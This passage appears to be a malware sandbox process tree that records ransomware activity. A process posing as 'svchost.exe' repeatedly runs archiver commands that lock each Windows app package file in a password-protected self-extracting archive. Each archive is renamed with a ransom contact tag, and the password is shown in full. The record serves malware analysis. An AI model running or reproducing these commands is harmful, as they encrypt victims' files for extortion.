                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\contrast-white\AppPackageAppList.scale-100_contrast-white.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\contrast-white\AppPackageAppList.scale-100_contrast-white.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:5640
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\contrast-white\AppPackageBadgeLogo.scale-100_contrast-white.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\contrast-white\AppPackageBadgeLogo.scale-100_contrast-white.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5100
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\contrast-white\AppPackageLargeTile.scale-100_contrast-white.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\contrast-white\AppPackageLargeTile.scale-100_contrast-white.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5668
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\contrast-white\AppPackageMedTile.scale-100_contrast-white.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\contrast-white\AppPackageMedTile.scale-100_contrast-white.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:3424
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\contrast-white\AppPackageSmallTile.scale-100_contrast-white.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\contrast-white\AppPackageSmallTile.scale-100_contrast-white.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:2380
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\contrast-white\AppPackageSplashScreen.scale-100_contrast-white.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\contrast-white\AppPackageSplashScreen.scale-100_contrast-white.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:3940
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\contrast-white\AppPackageStoreLogo.scale-100_contrast-white.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\contrast-white\AppPackageStoreLogo.scale-100_contrast-white.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:4280
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\contrast-white\AppPackageWideTile.scale-100_contrast-white.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\contrast-white\AppPackageWideTile.scale-100_contrast-white.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1560
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-125_8wekyb3d8bbwe\AppxBlockMap.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-125_8wekyb3d8bbwe\AppxBlockMap.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1800
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-125_8wekyb3d8bbwe\AppxManifest.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-125_8wekyb3d8bbwe\AppxManifest.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:2652
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\AppPackageAppList.scale-125.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\AppPackageAppList.scale-125.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1244
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\AppPackageBadgeLogo.scale-125.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\AppPackageBadgeLogo.scale-125.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:2356
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\AppPackageLargeTile.scale-125.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\AppPackageLargeTile.scale-125.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:224
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\AppPackageMedTile.scale-125.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\AppPackageMedTile.scale-125.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5708
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\AppPackageSmallTile.scale-125.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\AppPackageSmallTile.scale-125.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1784
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\AppPackageSplashScreen.scale-125.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\AppPackageSplashScreen.scale-125.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1112
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\AppPackageStoreLogo.scale-125.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\AppPackageStoreLogo.scale-125.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:3660
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\AppPackageWideTile.scale-125.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\AppPackageWideTile.scale-125.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:4528
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\contrast-black\AppPackageAppList.scale-125_contrast-black.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\contrast-black\AppPackageAppList.scale-125_contrast-black.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1552
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\contrast-black\AppPackageBadgeLogo.scale-125_contrast-black.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\contrast-black\AppPackageBadgeLogo.scale-125_contrast-black.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:2456
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
